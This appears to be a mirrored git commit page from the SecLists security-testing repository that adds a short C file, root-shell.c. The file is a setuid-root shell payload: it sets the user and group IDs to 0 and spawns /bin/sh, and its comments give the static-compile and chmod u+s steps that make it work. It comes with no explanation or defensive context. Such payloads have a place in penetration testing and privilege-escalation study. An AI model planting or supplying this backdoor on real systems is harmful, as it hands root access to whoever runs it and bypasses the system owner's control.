mirror of
https://github.com/danielmiessler/SecLists.git
synced 2026-07-22 18:32:38 +00:00
Rename folders
This commit is contained in:
@@ -0,0 +1,12 @@
|
||||
// $ gcc -static -o root-shell root-shell.c
|
||||
// $ chmod u+s root-shell
|
||||
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
int main(void) {
|
||||
setuid(0);
|
||||
setgid(0);
|
||||
system("/bin/sh");
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user